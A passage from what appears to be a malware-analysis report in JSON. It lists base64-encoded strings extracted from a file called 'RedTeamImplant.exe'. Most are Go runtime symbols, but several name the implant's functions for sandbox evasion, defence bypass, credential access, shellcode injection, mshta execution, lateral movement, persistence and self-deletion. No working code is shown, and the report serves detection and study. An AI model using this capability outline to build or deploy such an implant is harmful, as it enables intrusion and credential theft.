Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aXNXYWl0aW5nRm9yU3VzcGVuZEc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aXRhYmxpbmtz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"aXRlci5pbml0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"SjBmOUoydnVI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"S2VybmVsVGltZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"TCQkJCQkJCQkJA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"TCRASDlzYEg5Sg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"TCRISTlRaHU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bGFyZ2VBbGxvYw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bGFyZ2VBbGxvY0NvdW50","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bGFyZ2VGcmVl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bGFyZ2VGcmVlQ291bnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bGFyZ2VUeXBl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"TGFzdEFjY2Vzc1RpbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bGFzdFRpbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"TGFzdFdyaXRlVGltZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"TGF0aW5PZmZzZXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$b8","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$b9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bGVuZ3RoTWFzaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bGVuTm9uU2xpY2U=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bGVzc0VxdWFs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bGliY2FsbHBj","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bGliY2FsbHNw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bGltaXRlckV2ZW50","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bGlua3RpbWVoYXNo","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"TG9hZEFjcXVpcmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bG9hZEFuZERlbGV0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"TG9hZEFuZERlbGV0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bG9hZEZpbGVJZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"TG9hZExpYnJhcnlFeFc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"TG9hZExpYnJhcnlX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"TG9hZE9yU3RvcmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bG9jYWxEZXB0aA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bG9jYWxTaXpl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$ba","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$bb","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$bc","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$bd","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bG9ja2VkRXh0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bG9ja2VkSW50","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bG9ja1JhbmtTdHJ1Y3Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bG9ja3NIZWxk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bG9ja3NIZWxkTGVu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bG9va1BhdGhFcnI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bG9va3VwRmlyc3Rab25l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bG9va3VwTmFtZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bG9va3VwV2l0aFZhbHVl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"TG93RGF0ZVRpbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWFpbi5hbnRpU2FuZGJveA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWFpbi5ieXBhc3NEZWZlbnNlcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWFpbi5jcmVkZW50aWFsQWNjZXNz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWFpbi5kZWZlbnNlRXZhc2lvbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWFpbi5kaXNjb3Zlcnk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWFpbi5leGVjdXRpb24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWFpbi5pbXBhY3Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWFpbi5pbmplY3RTaGVsbGNvZGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWFpbi5sYXRlcmFsTW92ZW1lbnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWFpbi5tYWlu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWFpbi5wZXJzaXN0ZW5jZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWFpbi5ydW5KU2NyaXB0U2hlbGxjb2Rl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWFpbi5ydW5Nc2h0YQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWFpbi5zZWxmRGVsZXRl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWFrZUZ1bmNDdHh0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWFsbG9jaW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWFudWFsRnJlZUxpc3Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"TWFwSW5kZXg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$be","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$bf","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWFya0JpdHNGb3JCYXNl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWFya0JpdHNGb3JJbmRleA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"TWFya2VyT25seQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"TWFyc2hhbEJpbmFyeQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"TWFyc2hhbEpTT04=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"TWFyc2hhbFRleHQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWF0Y2ggMHhI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWF0Y2hSZXN1bHQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWF0aC5GbG9hdDMyYml0cw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWF0aC5GbG9hdDY0Yml0cw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWF0aC5pbml0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWF0aC9iaXRzLk11bDMy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWF0aC9iaXRzLlRyYWlsaW5nWmVyb3M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWF4R3Jvd3RoTGVmdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"TWF4U29ja0FkZHI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWF4U3RhY2tTY2FuRGVsdGE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWF5YmVSdW5Bc3luYw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWF5YmVSdW5DaGFu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWF5YmVXYWtlTG9ja2Vk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWF5TmVlZFdvcmtlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bUNhY2hlSW5Vc2U=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bUNhY2hlU3lz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$c0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$c1","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWVtZXFib2R5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWVtUHJvZlJhdGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"TWVzc2FnZVNpemU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWV0aG9kOkk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"TWV0aG9kQnlOYW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"TWljcm9zZWNvbmRz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"TWlsbGlzZWNvbmRz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"TWluU29ja0FkZHI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWluV2hlbkhlYXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWluV2hlbk1vZGlmaWVk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWlzc2luZ0FyZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bWlzc2luZ01ldGhvZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bUxvY2tQcm9maWxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bW9kZVByZUdvMV8yMw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bW9kdWxlaGFzaGVz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bW9kdWxlbmFtZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bW92ZUlubGluZU1hcmtz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bXNwYW5jYWNoZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bVNwYW5JblVzZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$c2","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$c3","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bVN5c2NhbGxJRA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bXVzdEJlQXNzaWduYWJsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bXVzdEJlQXNzaWduYWJsZVNsb3c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bXVzdEJlRXhwb3J0ZWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bXVzdEJlRXhwb3J0ZWRTbG93","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"TXVzdEZpbmRQcm9j","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bXVzdExvYWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bVdhaXRMaXN0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"TkBIOUhAdW1I","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"TmFub3NlY29uZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"TmFub3NlY29uZHM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bmRzL2NwdS9jbGFzc2VzL3NjYXZlbmdlL3RvdGFsOmNwdS1zZWNvbmRzL21lbW9yeS9jbGFzc2VzL3Byb2ZpbGluZy9idWNrZXRzOmJ5dGVzbXNwYW4uc3dlZXA6IGJhZCBzcGFuIHN0YXRlIGFmdGVyIHN3ZWVwcnVudGltZTogYmxvY2tlZCB3cml0ZSBvbiBmcmVlIHBvbGxkZXNjUG93ZXJSZWdpc3RlclN1c3BlbmRSZXN1bWVOb3RpZmljYXRpb24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bmVlZGV4dHJhbQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$c4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$c5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"TmV0d29ya0J5dGVPcmRlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bmV3UGlubmVyQml0cw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bmV3U2lnc3RhY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bmV4dERlZmVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bmV4dEZyYW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bmV4dEZyZWVJbmRleA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bmV4dFNhbXBsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bmZ1bmNkYXRh","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$c6","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$c7","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bm9jZ29jYWxsYmFjaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Tm9Jbmhlcml0SGFuZGxlcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bm9uRGVmYXVsdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bm9uRGVmYXVsdE9uY2U=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bm9wdHJkYXRh","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bm9SZWFkRnJvbQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bm9Xcml0ZVRv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bnQgdHlwZSBmb3VuZHNjYW5zdGFjazogZ29yb3V0aW5lIG5vdCBzdG9wcGVkc2NhdmVuZ2VyIHN0YXRlIGlzIGFscmVhZHkgd2lyZWRzd2VlcCBpbmNyZWFzZWQgYWxsb2NhdGlvbiBjb3VudHJlbW92ZXNwZWNpYWwgb24gaW52YWxpZCBwb2ludGVycnVudGltZTogcm9vdCBsZXZlbCBtYXggcGFnZXMgPSBOdEFzc29jaWF0ZVdhaXRDb21wbGV0aW9uUGFja2V0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"TnRDYW5jZWxXYWl0Q29tcGxldGlvblBhY2tldA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bnRkbGwuZGxs","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"TnVtRmllbGQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"TnVtTWV0aG9k","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"bnVtT2JqZWN0cw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b2JqSW5kZXg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b2NhdGlvbihI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"T2Zmc2V0SGlnaA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b2xkdGhyb3dzcGxpdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpkaXJJbmZvKS5jbG9zZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpGaWxlKS5jaGVja1ZhbGlk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpGaWxlKS5DbG9zZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpmaWxlKS5jbG9zZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpGaWxlKS5GZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpGaWxlKS5mZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpGaWxlKS5SZWFk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpGaWxlKS5yZWFk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpGaWxlKS5SZWFkRnJvbQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpGaWxlKS53cmFwRXJy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpGaWxlKS5Xcml0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpGaWxlKS53cml0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpGaWxlKS5Xcml0ZVN0cmluZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpGaWxlKS5Xcml0ZVRv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpmaWxlU3RhdCkuSXNEaXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpmaWxlU3RhdCkuaXNSZXBhcnNlVGFnTmFtZVN1cnJvZ2F0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpmaWxlU3RhdCkubG9hZEZpbGVJZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"b3MuKCpmaWxlU3RhdCkubG9hZEZpbGVJZC5kZWZlcndyYXAx","type":"Ansi","source":"Memory/File 